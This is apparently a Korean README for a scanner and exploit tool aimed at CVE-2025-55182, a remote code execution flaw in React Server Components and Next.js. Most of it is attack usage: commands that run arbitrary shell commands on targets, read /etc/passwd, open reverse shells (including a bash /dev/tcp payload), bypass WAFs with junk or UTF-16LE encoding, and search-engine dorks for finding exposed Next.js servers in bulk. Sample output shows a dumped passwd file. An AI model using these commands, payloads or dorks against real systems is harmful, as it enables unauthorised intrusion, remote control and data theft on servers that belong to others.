
Next.js/React RSC 서버의 CVE-2025-55182 RCE 취약점 (익스플로잇 및 스캐너)
이 도구는 보안 연구원과 침투 테스터가 Next.js/React RSC 애플리케이션의 CVE-2025-55182 취약점을 탐지하고 악용할 수 있도록 설계되었습니다. 여러 스캔 모드, 악용 기능 및 WAF 우회 기술을 제공합니다.
rce, safe, vercel_bypass 모드 중에서 선택하세요.이 취약점은 다음 React Server Components 버전에 영향을 미칩니다:
다음 패키지도 영향을 받습니다:
react-server-dom-parcelreact-server-dom-turbopackreact-server-dom-webpackgit clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182
python3 -m venv venv-55182 source venv-55182/bin/activate
pip install -r requirements.txt
## 사용법```bash
❯ python3 CVE-2025-55182.py -h
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
[-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]
Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications
options:
-h, --help show this help message and exit
-u, --url URL Single URL to scan or exploit.
-f, --file FILE File containing a list of URLs to scan/exploit.
Exploitation Options:
-c, --command COMMAND Command to execute on the target(s).
-p, --payloads PAYLOAD Custom payload to execute on the target(s). Can be a string or a
file path.
-r, --reverse-shell LHOST:LPORT Attempt a reverse shell.
Scanning Options:
-sm, --scan-mode MODE Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
rce)
-wb, --waf-bypass Add junk data to the request to bypass WAFs.
-wbs, --waf-bypass-size KB Size of junk data in KB (default: 128).
-wbu, --waf-bypass-utf16le Use UTF-16LE encoding to bypass WAFs.
General Options:
-o, --output FILE File to save vulnerable URLs from scans.
-t, --threads NUM Number of concurrent threads (default: 10).
-T, --timeout SEC Request timeout in seconds (default: 10).
-P, --proxy URL Proxy to use (e.g., http://127.0.0.1:8080).
-H, --header HEADER Add custom headers (e.g., 'Cookie: session=...').
-v, --verbose Enable verbose output for success/failed/non-vulnerable checks.
rce (기본값): 활성 스캔 모드로, echo 명령을 실행하여 취약점을 확인합니다. 가장 신뢰할 수 있는 방법이지만 대상 시스템에 로그가 남을 수 있습니다.safe: 부채널(side-channel) 스캔 모드로, 명령을 실행하지 않습니다. 특정 오류 메시지(E{"digest")가 나타나는지 확인하여 대상이 취약한지 판단합니다. rce 모드보다 안전하지만 신뢰도는 낮을 수 있습니다.vercel_bypass: 특정 페이로드를 사용하여 Vercel의 WAF를 우회하고 X-Action-Redirect 헤더에서 명령 출력을 확인합니다.크레딧: @coffinxp7
python3 CVE-2025-55182.py -u http://target.com
safe mode and 20 threadspython3 CVE-2025-55182.py -f urls.txt -sm safe -t 20
python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt
### 악용```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"
# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb
# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh
# Get a reverse shell (linux default reverse shell)
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444
# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh
# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows
# Intercept in Burpsuite
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080
$ python3 CVE-2025-55182.py -u http://target.com
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\[_____ \ / _____/| |__ ____ | | | |
| _// __ \__ \ _/ ___ __\/ ____/ \_____ \ | | \/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___\| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com (Mode: rce)
$ python3 CVE-2025-55182.py -u http://target.com -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
Target Information:
Detected OS: Linux
Server Software: next.js
Content Type: text/html; charset=utf-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Response snippet:
HTTP/1.1 500 Internal Server Error
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4615
Connection: keep-alive
X-Powered-By: Next.js
ETag: W/"1207-I2098797987"
Vary: RSC, Next-Router-State-Tree
$ python3 CVE-2025-55182.py -u http://target.com -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
Target Information:
Detected OS: Unknown
Server Software: cloudflare
Content Type: text/html; charset=UTF-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Status Code: 500
Response Headers:
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 4615
Connection: keep-alive
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Referrer-Policy: same-origin
X-Frame-Options: SAMEORIGIN
Server: cloudflare
CF-RAY: 9a9e5d42b96204be-HKG
Response Body (first 500 chars):
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Worker threw exception | tryhackme.com | Cloudflare</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv
$ python3 CVE-2025-55182.py -u http://target.com -c "whoami && echo "" && cat /etc/passwd"
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------
$ python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
$ python3 CVE-2025-55182.py -u http://windows-target.com -r 10.10.10.1:4444 -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
❯ python3 CVE-2025-55182.py -u http://target.com/apps -c "id && ls -al" -wbu
__________ __ ________ . . .
___ \ ____ _____ / |_ \ / /| | ____ | | | |
| // __ \ \ / \ / / _ \ | | _/ __ | | | |
| | \ / / __ \ _| | / \ / | Y \ /| || |
|| /_ > /___ >| _____ /_______ /|| /_ >_/__/
/ / / / / / / /
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit

### 네트워크 오류```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
Status Code: -1
Response Headers:
(No headers received)
Response Body (first 200 chars):
An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co
이 도구에는 Linux 및 Windows용으로 미리 만들어진 리버스 셸 페이로드가 포함되어 있습니다.
linux_revshell.sh: Bash 리버스 셸.windows_revshell.ps1: PowerShell 리버스 셸.http.component:"next.js"http.favicon.hash:-1766382332 (Vercel 파비콘)"x-powered-by: Next.js"((Next.js) and services.software.product="Next.js") and services.port=3000services.http.response.body: "_next/static"host.services.endpoints.http.headers:(key:"Vary" and value:"RSC, Next-Router-State-Tree")inurl:"/_next/static"intitle:"Next.js"site:com intitle:"Next.js"inurl:.com ("Next.js" OR "React")site:com ("Next.js" OR "_next/static")site:gov.cc ("Next.js" OR "React")site:com ("/_next/static" OR "/static/js")site:com ("React error" OR "Next.js error")header:"x-powered-by: Next.js"app:"Next.js"http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"vul.cve="CVE-2025-55182"app="NEXT.JS" || app="React.js"이 도구는 교육 및 연구 목적으로만 제공됩니다. 명시적인 허가 없이 어떤 시스템에서도 사용하지 마십시오. 저자는 이 도구 사용으로 인해 발생한 피해에 대해 책임을 지지 않습니다.
PR은 언제나 환영입니다 :)
| Category | Information |
|---|
| 게시일 | 2025-12-03 |
| 기본 점수 | 10.0 (치명적) |
| 연구자 | Lachlan Davidson (https://github.com/lachlan2k) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 설명 | React Server Components의 치명적인 원격 코드 실행(RCE) 취약점입니다. Next.js와 같은 프레임워크를 포함해 React의 서버 측 런타임을 사용하는 애플리케이션이 영향을 받습니다. 이 문제는 신뢰할 수 없는 “Flight” 프로토콜 데이터의 안전하지 않은 역직렬화로 인해 발생하며, 공격자가 서버에서 사전 인증 코드 실행을 달성할 수 있게 합니다. 패치된 React 및 프레임워크 버전으로 업데이트해야 합니다. |
| EPSS 점수 | 27.81% (악용 확률) |
| CISA KEV 카탈로그 | 등록됨: 예, 랜섬웨어: 알 수 없음 |
| HackerOne Hacktivity | 순위: 1, 보고서: 92 |
| 패치 우선순위 | A+ |